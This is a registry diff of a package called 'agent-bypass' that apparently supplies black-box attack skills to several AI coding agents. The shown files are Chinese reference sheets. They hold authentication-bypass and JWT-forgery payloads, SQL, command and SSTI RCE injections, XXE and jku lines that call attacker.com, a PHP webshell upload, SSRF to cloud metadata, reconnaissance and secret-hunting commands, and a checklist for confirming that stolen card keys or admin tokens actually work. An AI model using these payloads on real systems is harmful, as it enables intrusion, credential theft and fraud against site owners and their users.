agent-bypass 2.11.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +180 -0
- package/SKILL.md +878 -0
- package/SYSTEM_PROMPT.md +37 -0
- package/bin/install.js +373 -0
- package/ck-hunter.md +2501 -0
- package/claude/AGENTS.md +4 -0
- package/claude/commands/ck.md +7 -0
- package/config.yaml.example +46 -0
- package/grok/AGENTS.md +4 -0
- package/grok/skills/ck/SKILL.md +11 -0
- package/opencode/commands/ck.md +6 -0
- package/package.json +37 -0
- package/pi/AGENTS.md +4 -0
- package/pi/prompts/ck.md +7 -0
- package/references/cloud-mobile-supply-chain.md +342 -0
- package/references/learned.md +144 -0
- package/references/payloads.md +301 -0
- package/references/recon-commands.md +234 -0
- package/references/verification-checklist.md +108 -0
- package/scripts/basicauth_brute.py +48 -0
- package/scripts/cvefetch.py +156 -0
- package/scripts/deck.py +364 -0
- package/scripts/depscan.py +277 -0
- package/scripts/dirbrute.py +299 -0
- package/scripts/doh_resolve.sh +7 -0
- package/scripts/jsrip.py +141 -0
- package/scripts/mutate.py +191 -0
- package/scripts/portscan.py +104 -0
- package/scripts/webprobe.py +80 -0
|
@@ -0,0 +1,301 @@
|
|
|
1
|
+
# 黑盒测试 Payload 速查
|
|
2
|
+
|
|
3
|
+
## 1. 认证绕过
|
|
4
|
+
|
|
5
|
+
### 弱口令字典(优先顺序)
|
|
6
|
+
```
|
|
7
|
+
admin/admin admin/admin123 admin/123456
|
|
8
|
+
admin/admin888 admin/password admin/admin@123
|
|
9
|
+
test/test root/root guest/guest
|
|
10
|
+
系统名+123(如 xianyu123 / mars123)
|
|
11
|
+
文档/GitHub README 里公示的演示账号 ★
|
|
12
|
+
```
|
|
13
|
+
|
|
14
|
+
### 类型混淆绕过
|
|
15
|
+
```
|
|
16
|
+
# PHP 弱比较
|
|
17
|
+
password=0 # 0 == "任意字符串"
|
|
18
|
+
password[]=x # 数组绕过 strcmp
|
|
19
|
+
password=240610708 # MD5 = 0e462097431906509019562988736854
|
|
20
|
+
# 与 0e 开头的 hash 弱比较相等
|
|
21
|
+
|
|
22
|
+
# JSON 类型混淆
|
|
23
|
+
{"password":true}
|
|
24
|
+
{"password":0}
|
|
25
|
+
{"password":[]}
|
|
26
|
+
{"password":{"$ne":null}} # NoSQL
|
|
27
|
+
|
|
28
|
+
# 参数污染
|
|
29
|
+
username=admin&username=test
|
|
30
|
+
username=admin%00
|
|
31
|
+
```
|
|
32
|
+
|
|
33
|
+
### 验证码绕过
|
|
34
|
+
```
|
|
35
|
+
# 复用
|
|
36
|
+
同一个验证码重复提交
|
|
37
|
+
# 空值
|
|
38
|
+
captcha= / captcha=null / 删除该参数
|
|
39
|
+
# 爆破
|
|
40
|
+
数字4位验证码 → 无限尝试(先测是否有次数限制)
|
|
41
|
+
# 响应篡改
|
|
42
|
+
返回包改 {"success":false} → {"success":true}
|
|
43
|
+
# 客户端校验
|
|
44
|
+
直接跳过前端JS校验,调后端接口
|
|
45
|
+
```
|
|
46
|
+
|
|
47
|
+
### 前端加密绕过 ★
|
|
48
|
+
```
|
|
49
|
+
# 定位加密逻辑
|
|
50
|
+
grep -rn "JSEncrypt\|RSA\|publicKey\|encrypt" *.js
|
|
51
|
+
grep -rn "BEGIN PUBLIC KEY\|MFww\|MIIB" *.js *.html
|
|
52
|
+
|
|
53
|
+
# RSA 公钥提取(JSEncrypt 格式)
|
|
54
|
+
new JSEncrypt(); setPublicKey("MFww...")
|
|
55
|
+
|
|
56
|
+
# 若配置文件泄露 privateKey → 可直接解密任意请求
|
|
57
|
+
# 若无 privateKey → 用公钥加密自己的请求即可(加密仍是合法的)
|
|
58
|
+
```
|
|
59
|
+
|
|
60
|
+
### JWT
|
|
61
|
+
|
|
62
|
+
**按命中率排序,RS256→HS256 混淆排第一(原版漏了)。**
|
|
63
|
+
|
|
64
|
+
```
|
|
65
|
+
★ ① RS256 → HS256 算法混淆(命中率最高)
|
|
66
|
+
|
|
67
|
+
原理:服务端用非对称算法验签,但代码信任 JWT header 里的 alg 字段。
|
|
68
|
+
改成 HS256 后,服务端会拿"公钥"当 HMAC 密钥验签。
|
|
69
|
+
而公钥通常公开(前端JS / jwks.json / 证书),攻击者可以自己签。
|
|
70
|
+
|
|
71
|
+
利用步骤:
|
|
72
|
+
1. 拿到公钥
|
|
73
|
+
- 从前端 JS: grep -oE "MFww[A-Za-z0-9+/=]{20,}"
|
|
74
|
+
- 从 /jwks.json / /.well-known/jwks.json
|
|
75
|
+
- 从 SSL 证书提取
|
|
76
|
+
2. 用公钥当 HMAC 密钥重新签名
|
|
77
|
+
jwt_tool <token> -X k -pk public.pem
|
|
78
|
+
3. 或手工:
|
|
79
|
+
import jwt
|
|
80
|
+
jwt.encode(payload, public_key_pem, algorithm="HS256")
|
|
81
|
+
|
|
82
|
+
工具:jwt_tool -M at -np -pk public.pem
|
|
83
|
+
python3 jwt_forgery.py <token> <jwks_url>
|
|
84
|
+
|
|
85
|
+
★ ② alg:none
|
|
86
|
+
{"alg":"none","typ":"JWT"} → 去掉签名部分(保留末尾的 .)
|
|
87
|
+
变体:none / None / NONE / nOnE(大小写绕过)
|
|
88
|
+
|
|
89
|
+
★ ③ 弱密钥爆破(HS256)
|
|
90
|
+
hashcat -m 16500 jwt.txt rockyou.txt
|
|
91
|
+
jwt_tool <token> -C -d wordlist.txt
|
|
92
|
+
常见弱密钥:secret / password / changeme / 公司名 / 系统名
|
|
93
|
+
|
|
94
|
+
④ kid 注入
|
|
95
|
+
{"alg":"HS256","kid":"../../../../dev/null"} # 空密钥
|
|
96
|
+
{"alg":"HS256","kid":"http://attacker.com/key"} # 加载外部密钥
|
|
97
|
+
{"kid":"1' UNION SELECT 'attackerkey'--"} # SQL注入kid
|
|
98
|
+
{"kid":"/proc/sys/kernel/randomize_va_space"} # 指向已知内容文件
|
|
99
|
+
|
|
100
|
+
⑤ jku / x5u 注入
|
|
101
|
+
{"jku":"http://attacker.com/jwks.json"} # 指向自己控制的JWKS
|
|
102
|
+
|
|
103
|
+
⑥ 其他
|
|
104
|
+
- 篡改 payload 后不重签(服务端漏验签)
|
|
105
|
+
- 过期时间:检查是否真的校验 exp
|
|
106
|
+
- 敏感信息泄露:base64解payload看有无password/内部字段
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
|
|
110
|
+
## 2. 注入
|
|
111
|
+
|
|
112
|
+
### SQL
|
|
113
|
+
```
|
|
114
|
+
' # 报错探测
|
|
115
|
+
' OR '1'='1
|
|
116
|
+
' OR 1=1--
|
|
117
|
+
' AND SLEEP(5)-- # 时间盲注(MySQL)
|
|
118
|
+
'; WAITFOR DELAY '0:0:5'-- # SQL Server
|
|
119
|
+
'||pg_sleep(5)-- # PostgreSQL
|
|
120
|
+
|
|
121
|
+
# 布尔盲注
|
|
122
|
+
' AND SUBSTRING(database(),1,1)='a'--
|
|
123
|
+
' AND (SELECT COUNT(*) FROM users)>0--
|
|
124
|
+
|
|
125
|
+
# 报错注入
|
|
126
|
+
' AND extractvalue(1,concat(0x7e,database()))--
|
|
127
|
+
' AND updatexml(1,concat(0x7e,(SELECT user())),1)--
|
|
128
|
+
|
|
129
|
+
# 绕过WAF
|
|
130
|
+
/**/ 代替空格
|
|
131
|
+
+ 代替空格
|
|
132
|
+
%09 %0a %0b %0c %0d 代替空格
|
|
133
|
+
大小写混写 SeLeCt
|
|
134
|
+
双写 UNunionION
|
|
135
|
+
```
|
|
136
|
+
|
|
137
|
+
### 命令注入
|
|
138
|
+
```
|
|
139
|
+
; id
|
|
140
|
+
| id
|
|
141
|
+
|| id
|
|
142
|
+
& id
|
|
143
|
+
&& id
|
|
144
|
+
`id`
|
|
145
|
+
$(id)
|
|
146
|
+
%0a id # 换行
|
|
147
|
+
${IFS} # 空格绕过
|
|
148
|
+
$IFS$9
|
|
149
|
+
# 盲注
|
|
150
|
+
; sleep 5
|
|
151
|
+
; ping -c 5 127.0.0.1
|
|
152
|
+
```
|
|
153
|
+
|
|
154
|
+
### SSTI
|
|
155
|
+
```
|
|
156
|
+
{{7*7}} → 49 (Jinja2/Twig)
|
|
157
|
+
${7*7} → 49 (Freemarker/EL)
|
|
158
|
+
#{7*7} → 49 (EL)
|
|
159
|
+
<%= 7*7 %> → 49 (ERB)
|
|
160
|
+
|
|
161
|
+
# Jinja2 RCE
|
|
162
|
+
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
|
|
163
|
+
{{ ''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate() }}
|
|
164
|
+
|
|
165
|
+
# Freemarker RCE
|
|
166
|
+
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
|
|
167
|
+
```
|
|
168
|
+
|
|
169
|
+
### XXE
|
|
170
|
+
```xml
|
|
171
|
+
<?xml version="1.0"?>
|
|
172
|
+
<!DOCTYPE foo [
|
|
173
|
+
<!ENTITY xxe SYSTEM "file:///etc/passwd">
|
|
174
|
+
]>
|
|
175
|
+
<foo>&xxe;</foo>
|
|
176
|
+
|
|
177
|
+
<!-- 盲XXE + OOB -->
|
|
178
|
+
<!DOCTYPE foo [
|
|
179
|
+
<!ENTITY % file SYSTEM "file:///etc/passwd">
|
|
180
|
+
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
|
|
181
|
+
%dtd;
|
|
182
|
+
]>
|
|
183
|
+
<!-- SSRF -->
|
|
184
|
+
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
|
|
185
|
+
```
|
|
186
|
+
|
|
187
|
+
## 3. 逻辑漏洞
|
|
188
|
+
|
|
189
|
+
```
|
|
190
|
+
# 金额
|
|
191
|
+
price=0.01
|
|
192
|
+
price=-1
|
|
193
|
+
price=1e-10
|
|
194
|
+
quantity=-1
|
|
195
|
+
|
|
196
|
+
# 竞态(并发)
|
|
197
|
+
# 用 Turbo Intruder / 自写多线程同时发同一请求
|
|
198
|
+
# 场景:优惠券、提现、注册、库存、积分兑换
|
|
199
|
+
|
|
200
|
+
# 流程绕过
|
|
201
|
+
直接访问最终步骤的接口
|
|
202
|
+
跳过支付回调,手动调用"支付成功"接口
|
|
203
|
+
订单状态机:取消后仍能发货
|
|
204
|
+
|
|
205
|
+
# 越权
|
|
206
|
+
/user?id=1 → 遍历 id
|
|
207
|
+
/api/v1/orders/{order_id} → 换成别人的
|
|
208
|
+
用低权账号的 token 调高权接口
|
|
209
|
+
|
|
210
|
+
# 任意用户密码重置
|
|
211
|
+
# 只靠 username 就能重置,无 token 校验
|
|
212
|
+
# 或 token 可预测 / 从响应泄露
|
|
213
|
+
```
|
|
214
|
+
|
|
215
|
+
## 4. 文件
|
|
216
|
+
|
|
217
|
+
### 任意文件读取
|
|
218
|
+
```
|
|
219
|
+
../../../../etc/passwd
|
|
220
|
+
../../../../windows/win.ini
|
|
221
|
+
..%2f..%2f..%2fetc%2fpasswd
|
|
222
|
+
%2e%2e%2f%2e%2e%2f
|
|
223
|
+
....//....//....//
|
|
224
|
+
..%252f..%252f # 双重编码
|
|
225
|
+
/etc/passwd%00
|
|
226
|
+
php://filter/convert.base64-encode/resource=index.php
|
|
227
|
+
```
|
|
228
|
+
|
|
229
|
+
### 文件上传
|
|
230
|
+
```
|
|
231
|
+
# 后缀绕过
|
|
232
|
+
shell.php5 shell.phtml shell.pht shell.php7
|
|
233
|
+
shell.php. shell.php%00.jpg shell.php%20
|
|
234
|
+
shell.pHp shell.PHP
|
|
235
|
+
.htaccess(改解析规则)
|
|
236
|
+
# Content-Type 绕过
|
|
237
|
+
Content-Type: image/jpeg
|
|
238
|
+
# 魔术字节
|
|
239
|
+
GIF89a<?php system($_GET['c']); ?>
|
|
240
|
+
# 竞争上传
|
|
241
|
+
上传后立刻访问(先落地后校验的场景)
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
## 5. SSRF
|
|
245
|
+
|
|
246
|
+
```
|
|
247
|
+
url=http://127.0.0.1:8080/admin
|
|
248
|
+
url=http://169.254.169.254/latest/meta-data/ # 云元数据
|
|
249
|
+
url=http://[::1]:80
|
|
250
|
+
url=http://0x7f000001/
|
|
251
|
+
url=http://2130706433/
|
|
252
|
+
url=http://localhost.attacker.com/ # DNS重绑定
|
|
253
|
+
url=file:///etc/passwd
|
|
254
|
+
url=dict://127.0.0.1:6379/info
|
|
255
|
+
url=gopher://127.0.0.1:6379/_INFO # 打Redis
|
|
256
|
+
|
|
257
|
+
# 绕过黑名单
|
|
258
|
+
用短网址
|
|
259
|
+
URL解析差异(@、#、\)
|
|
260
|
+
302跳转
|
|
261
|
+
```
|
|
262
|
+
|
|
263
|
+
## 6. 未授权接口探测
|
|
264
|
+
|
|
265
|
+
```bash
|
|
266
|
+
# 常见路径
|
|
267
|
+
/internal/ /debug/ /actuator/ /admin/ /api/v1/sync/
|
|
268
|
+
/worker/ /health /metrics /env /config
|
|
269
|
+
|
|
270
|
+
# Spring Boot Actuator
|
|
271
|
+
/actuator/env → 环境变量(可能含密码)
|
|
272
|
+
/actuator/heapdump → 堆转储(可提取凭据)
|
|
273
|
+
/actuator/mappings → 所有路由
|
|
274
|
+
/actuator/beans
|
|
275
|
+
|
|
276
|
+
# 判据
|
|
277
|
+
- 框架文档 security 标注为空 → 必须实测验证
|
|
278
|
+
- 实测技巧:不传任何 token 直接请求,看是否返回数据
|
|
279
|
+
- 反向验证:故意传错误参数,看错误信息是否泄露内部结构
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
## 7. 响应分析技巧 ★
|
|
283
|
+
|
|
284
|
+
```
|
|
285
|
+
# 响应长度差异 = 逻辑可区分
|
|
286
|
+
7342字节 vs 7345字节 → 服务端走了不同分支
|
|
287
|
+
|
|
288
|
+
# 状态码含义
|
|
289
|
+
200 存在且可访问
|
|
290
|
+
301/302 存在,可能需认证(看 Location)
|
|
291
|
+
401 需认证
|
|
292
|
+
403 存在但被拒(可能可绕过)
|
|
293
|
+
404 不存在
|
|
294
|
+
500 存在但出错(参数不对)
|
|
295
|
+
|
|
296
|
+
# 错误信息利用
|
|
297
|
+
"机器码长度应为32位,当前19位" → 反推校验规则
|
|
298
|
+
"账号密码不能为空" → 参数名是 account/password
|
|
299
|
+
"用户名 密码错误" → 参数名是 username
|
|
300
|
+
"此卡密已超过邮箱验证码最大限制" → 存在配额逻辑
|
|
301
|
+
```
|
|
@@ -0,0 +1,234 @@
|
|
|
1
|
+
# 情报收集命令集
|
|
2
|
+
|
|
3
|
+
## 一、被动收集(不触碰目标)
|
|
4
|
+
|
|
5
|
+
### 域名与 DNS
|
|
6
|
+
```bash
|
|
7
|
+
whois target.com
|
|
8
|
+
dig +short target.com A
|
|
9
|
+
dig +short target.com MX
|
|
10
|
+
dig +short target.com TXT # 常含 SPF/验证信息
|
|
11
|
+
dig +short target.com NS
|
|
12
|
+
dig +short -x 1.2.3.4 # 反查
|
|
13
|
+
|
|
14
|
+
# DNS 历史(找已废弃但可能仍在用的IP)
|
|
15
|
+
# securitytrails.com / viewdns.info / dnsdumpster.com
|
|
16
|
+
```
|
|
17
|
+
|
|
18
|
+
### 证书透明度(子域金矿)
|
|
19
|
+
```bash
|
|
20
|
+
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | tr ',' '\n' | sort -u
|
|
21
|
+
```
|
|
22
|
+
> 证书日志会暴露**所有签发过证书的子域**,包括测试环境、内部系统。
|
|
23
|
+
> 常能发现几十个子域,每个都可能是独立攻击面。
|
|
24
|
+
|
|
25
|
+
### ★ GitHub / 代码仓库搜索(最高价值)
|
|
26
|
+
|
|
27
|
+
```bash
|
|
28
|
+
# 网页搜索语法
|
|
29
|
+
"target.com" password
|
|
30
|
+
"target.com" api_key
|
|
31
|
+
"target.com" secret
|
|
32
|
+
"target.com" token
|
|
33
|
+
org:TargetOrg filename:.env
|
|
34
|
+
org:TargetOrg filename:application.yml
|
|
35
|
+
org:TargetOrg filename:config.php
|
|
36
|
+
path:**/config/*.yml
|
|
37
|
+
filename:.env DB_PASSWORD
|
|
38
|
+
filename:docker-compose.yml password
|
|
39
|
+
"BEGIN RSA PRIVATE KEY"
|
|
40
|
+
"BEGIN OPENSSH PRIVATE KEY"
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# 工具
|
|
45
|
+
trufflehog git https://github.com/org/repo --only-verified
|
|
46
|
+
gitleaks detect --source . -v
|
|
47
|
+
# grep.app 可在所有公开仓库中搜字符串
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
**重点文件类型**:
|
|
51
|
+
```
|
|
52
|
+
.env .env.bak config.php database.yml application-prod.yml
|
|
53
|
+
settings.py wp-config.php docker-compose.yml .git-credentials
|
|
54
|
+
*.pem *.key id_rsa *.p12 *.jks keystore
|
|
55
|
+
```
|
|
56
|
+
|
|
57
|
+
**中文项目常搜**:
|
|
58
|
+
```
|
|
59
|
+
搜索:目标公司名 + 数据库 / 支付 / 后台
|
|
60
|
+
搜索:目标系统名 + 源码 / 破解版 / 开心版
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### 资产测绘平台
|
|
64
|
+
```
|
|
65
|
+
FOFA fofa.info
|
|
66
|
+
Quake quake.360.cn
|
|
67
|
+
Hunter hunter.how
|
|
68
|
+
Shodan shodan.io
|
|
69
|
+
Censys censys.io
|
|
70
|
+
ZoomEye zoomeye.org
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
# FOFA 核心语法
|
|
75
|
+
domain="target.com"
|
|
76
|
+
cert="target.com" # ★ 证书反查,挖关联资产
|
|
77
|
+
ip="1.2.3.4" # ★ 同IP所有站点,攻击面翻倍
|
|
78
|
+
body="特征字符串" # 找同款系统
|
|
79
|
+
title="系统名"
|
|
80
|
+
header="Server: nginx/1.18.0"
|
|
81
|
+
icon_hash="-1234567890" # ★ favicon指纹,找同源系统
|
|
82
|
+
port="8080" && country="CN"
|
|
83
|
+
org="公司名"
|
|
84
|
+
```
|
|
85
|
+
|
|
86
|
+
**多资产关联技巧**:
|
|
87
|
+
1. `domain=` 找目标全部资产
|
|
88
|
+
2. `cert=` 找同一证书下的其他域名(同一个人/公司)
|
|
89
|
+
3. `ip=` 找同机部署的所有站点
|
|
90
|
+
4. `icon_hash=` 找使用同款系统的其他实例(可能有更早的版本漏洞)
|
|
91
|
+
5. `body="报错字符串"` 找同款系统
|
|
92
|
+
|
|
93
|
+
### 历史与快照
|
|
94
|
+
```
|
|
95
|
+
web.archive.org # 历史页面
|
|
96
|
+
urlscan.io # 历史扫描记录
|
|
97
|
+
github.com/search # 泄露的源码
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### 商务信息
|
|
101
|
+
```
|
|
102
|
+
ICP备案:beian.miit.gov.cn
|
|
103
|
+
工商:天眼查 / 企查查 / 国家企业信用信息公示系统
|
|
104
|
+
域名注册:whois(注意隐私保护,可用历史whois)
|
|
105
|
+
```
|
|
106
|
+
|
|
107
|
+
## 二、主动收集(需授权,会留日志)
|
|
108
|
+
|
|
109
|
+
### 端口与服务
|
|
110
|
+
```bash
|
|
111
|
+
# 快速全端口
|
|
112
|
+
nmap -sS -p- --min-rate 2000 -T4 target
|
|
113
|
+
masscan -p1-65535 --rate=5000 target
|
|
114
|
+
|
|
115
|
+
# 服务识别
|
|
116
|
+
nmap -sV -sC -p 22,80,443,3306,6379,8080,8089,9000 target
|
|
117
|
+
nmap -sV --script http-title,http-headers,http-enum target
|
|
118
|
+
|
|
119
|
+
# UDP(别忘)
|
|
120
|
+
nmap -sU --top-ports 100 target
|
|
121
|
+
```
|
|
122
|
+
|
|
123
|
+
### 指纹识别
|
|
124
|
+
```bash
|
|
125
|
+
whatweb -a 3 https://target
|
|
126
|
+
wafw00f https://target
|
|
127
|
+
curl -sI https://target # 看 Server / X-Powered-By
|
|
128
|
+
curl -s https://target/favicon.ico | md5sum # favicon hash
|
|
129
|
+
```
|
|
130
|
+
|
|
131
|
+
### 目录与文件爆破
|
|
132
|
+
```bash
|
|
133
|
+
# 目录
|
|
134
|
+
ffuf -u https://target/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,401,403
|
|
135
|
+
dirsearch -u https://target -e php,asp,aspx,jsp,html,js
|
|
136
|
+
|
|
137
|
+
# 敏感文件(手工必试清单)
|
|
138
|
+
/.git/config
|
|
139
|
+
/.env
|
|
140
|
+
/.env.bak
|
|
141
|
+
/backup.zip
|
|
142
|
+
/www.zip
|
|
143
|
+
/database.sql
|
|
144
|
+
/phpinfo.php
|
|
145
|
+
/robots.txt
|
|
146
|
+
/sitemap.xml
|
|
147
|
+
/swagger-ui.html
|
|
148
|
+
/actuator
|
|
149
|
+
/openapi.json
|
|
150
|
+
/Dockerfile
|
|
151
|
+
/package.json
|
|
152
|
+
/composer.json
|
|
153
|
+
|
|
154
|
+
# 备份文件后缀
|
|
155
|
+
index.php.bak index.php~ index.php.swp index.php.save
|
|
156
|
+
config.php.old config.php.orig index.php.1
|
|
157
|
+
```
|
|
158
|
+
|
|
159
|
+
### 子域爆破
|
|
160
|
+
```bash
|
|
161
|
+
subfinder -d target -silent | httpx -silent -title -sc
|
|
162
|
+
amass enum -passive -d target
|
|
163
|
+
dnsx -d target -w subdomains.txt
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### 从文档拿接口清单(★ 高性价比)
|
|
167
|
+
```bash
|
|
168
|
+
curl -s https://target/openapi.json | jq '.paths | keys'
|
|
169
|
+
curl -s https://target/v2/api-docs | jq '.paths | keys'
|
|
170
|
+
curl -s https://target/actuator/mappings | jq
|
|
171
|
+
curl -s https://target/swagger-ui.html
|
|
172
|
+
|
|
173
|
+
# 提取所有接口路径
|
|
174
|
+
curl -s https://target/openapi.json | jq -r '.paths | keys[]' | sort
|
|
175
|
+
```
|
|
176
|
+
|
|
177
|
+
## 三、协议分析(★ 别跳过)
|
|
178
|
+
|
|
179
|
+
**在做任何利用之前,先用浏览器看真实请求长什么样:**
|
|
180
|
+
|
|
181
|
+
```
|
|
182
|
+
1. 打开目标页面
|
|
183
|
+
2. F12 → Network → 勾选 Preserve log
|
|
184
|
+
3. 执行目标操作(登录/提交订单/查询)
|
|
185
|
+
4. 找到对应的 XHR/Fetch 请求
|
|
186
|
+
5. 右键 → Copy as cURL
|
|
187
|
+
6. 对着这个 curl 分析:请求头、参数格式、是否加密、是否有签名字段
|
|
188
|
+
```
|
|
189
|
+
|
|
190
|
+
**必查项**:
|
|
191
|
+
```
|
|
192
|
+
- 是否有 signature / sign / nonce / timestamp 字段
|
|
193
|
+
- 请求体是明文还是加密(base64 / hex / RSA)
|
|
194
|
+
- Content-Type 是 json 还是 form-urlencoded
|
|
195
|
+
- 有没有自定义 Header(token / X-Api-Key / appid)
|
|
196
|
+
- 前端 JS 里有没有加密函数(grep encrypt / JSEncrypt / AES / RSA)
|
|
197
|
+
```
|
|
198
|
+
|
|
199
|
+
```bash
|
|
200
|
+
# 从 JS 中找加密逻辑和密钥
|
|
201
|
+
curl -s https://target/static/js/main.js | grep -oE "(publicKey|privateKey|secretKey|aesKey|iv)\s*[:=]\s*['\"][^'\"]{8,}"
|
|
202
|
+
curl -s https://target/static/js/main.js | grep -oE "MFww[A-Za-z0-9+/=]{20,}"
|
|
203
|
+
curl -s https://target/static/js/main.js | grep -oE "BEGIN (PUBLIC|RSA)[A-Z ]*KEY"
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
> **教训**:如果登录接口总是返回"请完成验证"/"参数错误",先怀疑**请求格式不对**,
|
|
207
|
+
> 而不是急着归因给验证码或WAF。多数"卡死"是因为没按协议发请求。
|
|
208
|
+
|
|
209
|
+
## 四、代理与抓包
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# Burp Suite 常用
|
|
213
|
+
# 拦截 → 改包 → 重放(Repeater)→ 爆破(Intruder)
|
|
214
|
+
|
|
215
|
+
# 命令行代理
|
|
216
|
+
curl -x http://127.0.0.1:8080 -k https://target
|
|
217
|
+
|
|
218
|
+
# mitmproxy 脚本化改包
|
|
219
|
+
mitmproxy -s script.py
|
|
220
|
+
```
|
|
221
|
+
|
|
222
|
+
## 五、协作与记录
|
|
223
|
+
|
|
224
|
+
```bash
|
|
225
|
+
# 保持目录结构
|
|
226
|
+
recon/
|
|
227
|
+
subdomains.txt
|
|
228
|
+
ports.txt
|
|
229
|
+
screenshots/
|
|
230
|
+
requests/ # 保存原始请求响应
|
|
231
|
+
findings.md
|
|
232
|
+
|
|
233
|
+
# 每个发现都记录:时间、命令、完整响应
|
|
234
|
+
```
|
|
@@ -0,0 +1,108 @@
|
|
|
1
|
+
# 验证终点清单(防假突破)
|
|
2
|
+
|
|
3
|
+
**核心原则:服务端说"成功" ≠ 你真的得到了东西。**
|
|
4
|
+
|
|
5
|
+
## 三级验证模型
|
|
6
|
+
|
|
7
|
+
```
|
|
8
|
+
L1 服务端接受 接口返回 success / 2xx
|
|
9
|
+
L2 数据落库 能被后续查询读到
|
|
10
|
+
L3 实际可用 ★ 目标达成(能登录/能兑换/能读数据/能执行)
|
|
11
|
+
```
|
|
12
|
+
|
|
13
|
+
**L1 和 L2 都不能算成功。只有 L3 算。**
|
|
14
|
+
|
|
15
|
+
## 逐项检查表
|
|
16
|
+
|
|
17
|
+
### 生成类(卡密/邀请码/激活码/序列号)
|
|
18
|
+
- [ ] 生成后能否在**消费端**使用?
|
|
19
|
+
- [ ] 消费端在哪?是同一个系统吗?
|
|
20
|
+
- [ ] 有没有可能消费端根本没部署?(去查服务实例数)
|
|
21
|
+
- [ ] 服务端是否**无条件**返回成功?(用明显错误的输入对照)
|
|
22
|
+
- [ ] 生成记录能否被查到?查到的**总数**和生成的**次数**对得上吗?
|
|
23
|
+
|
|
24
|
+
**反面案例**:某系统 `/api/v1/activation/generate` 无鉴权,输入任意机器码就返回 `{"success":true,"activation_code":"6ABE7DD2-..."}`。
|
|
25
|
+
- 看似拿到了卡密
|
|
26
|
+
- 实际:另一个系统(卡网)根本认不出这个码 → `"卡密不存在"`
|
|
27
|
+
- 且该实例 `total_instances: 0`,没有任何客户端会消费它
|
|
28
|
+
- **结论:数据库里的孤儿记录,价值为零**
|
|
29
|
+
|
|
30
|
+
### 操作类(启停/修改/删除)
|
|
31
|
+
- [ ] 操作后**状态真的变了吗**?(再查一次状态)
|
|
32
|
+
- [ ] 服务端是否无条件返回成功?
|
|
33
|
+
- [ ] 操作的对象**是真实存在的吗**?
|
|
34
|
+
- [ ] 有没有可能是空操作(对象不存在也返回成功)?
|
|
35
|
+
|
|
36
|
+
**反面案例**:`POST /internal/accounts/1/restart` → `{"success":true,"message":"账号任务重启成功"}`
|
|
37
|
+
- 看似重启成功了
|
|
38
|
+
- 实际:该账号 `status: "stopped"`,`未找到有效的Cookie`,**本来就是死的**
|
|
39
|
+
- 重启后再查,状态依然是 `stopped`
|
|
40
|
+
- **结论:重启了一个不存在的号,毫无影响**
|
|
41
|
+
|
|
42
|
+
### 数据读取类(脱敏字段/列表/导出)
|
|
43
|
+
- [ ] 拿到的数据**完整吗**?缺的部分能补上吗?
|
|
44
|
+
- [ ] 脱敏是否彻底?(重点查嵌套对象、`_original`、`debug`、`raw` 字段)
|
|
45
|
+
- [ ] 缺失部分的**熵**是多少?可枚举吗?
|
|
46
|
+
|
|
47
|
+
**反面案例**:某接口返回 `card_code: "4BB9************EC3B"`,但旁边有 `_original` 明文。
|
|
48
|
+
- 看似拿到了卡密
|
|
49
|
+
- 实际:只有前后各4位,中间12位未知
|
|
50
|
+
- `16^12 = 2.8×10^14` 种可能,**无法枚举**
|
|
51
|
+
- **结论:脱敏疏漏是真的,但核心熵还在,不构成有效泄露**
|
|
52
|
+
|
|
53
|
+
### 认证类(登录/令牌)
|
|
54
|
+
- [ ] 真的拿到 token 了吗?(不是 500 变成 200,是返回了 token 字段)
|
|
55
|
+
- [ ] token 能用吗?(拿它去请求需要认证的接口)
|
|
56
|
+
- [ ] 权限是什么级别?(`is_admin` 是 true 吗)
|
|
57
|
+
- [ ] 响应变化是否只是错误分支改变?
|
|
58
|
+
|
|
59
|
+
**判据**:
|
|
60
|
+
```json
|
|
61
|
+
{"success":false,"message":"..."} ❌ 失败
|
|
62
|
+
{"success":true,"token":"eyJ...","is_admin":true,"account_limit":N} ✅ 成功
|
|
63
|
+
```
|
|
64
|
+
|
|
65
|
+
### 算法/规律推导类
|
|
66
|
+
- [ ] 样本量够吗?(<100 样本不做算法断言)
|
|
67
|
+
- [ ] 规律能**预测未知值**并验证吗?
|
|
68
|
+
- [ ] 有没有可能是巧合?(多组对照)
|
|
69
|
+
|
|
70
|
+
**反面案例**:从 4 个样本推出"激活码前8位=时间戳",虽然验证吻合。
|
|
71
|
+
- 但**这个系统本来就无鉴权**,不需要破解算法就能生成码
|
|
72
|
+
- **结论:破解了已知的可直接访问的东西,无实际价值**
|
|
73
|
+
|
|
74
|
+
## 危险信号(出现即停手自查)
|
|
75
|
+
|
|
76
|
+
| 信号 | 可能的问题 |
|
|
77
|
+
|---|---|
|
|
78
|
+
| 所有请求都返回 success | 服务端无条件成功 |
|
|
79
|
+
| 生成的东西找不到消费端 | 孤儿数据 |
|
|
80
|
+
| 操作后状态没变 | 空操作 / 假接口 |
|
|
81
|
+
| 数据有关键字段缺失 | 脱敏有效,没突破 |
|
|
82
|
+
| 响应码变了但没看到数据 | 只是走了不同错误分支 |
|
|
83
|
+
| 只有一个样本就总结规律 | 过拟合 |
|
|
84
|
+
| 从 A 系统生成的东西拿去 B 系统用 | 系统混淆 |
|
|
85
|
+
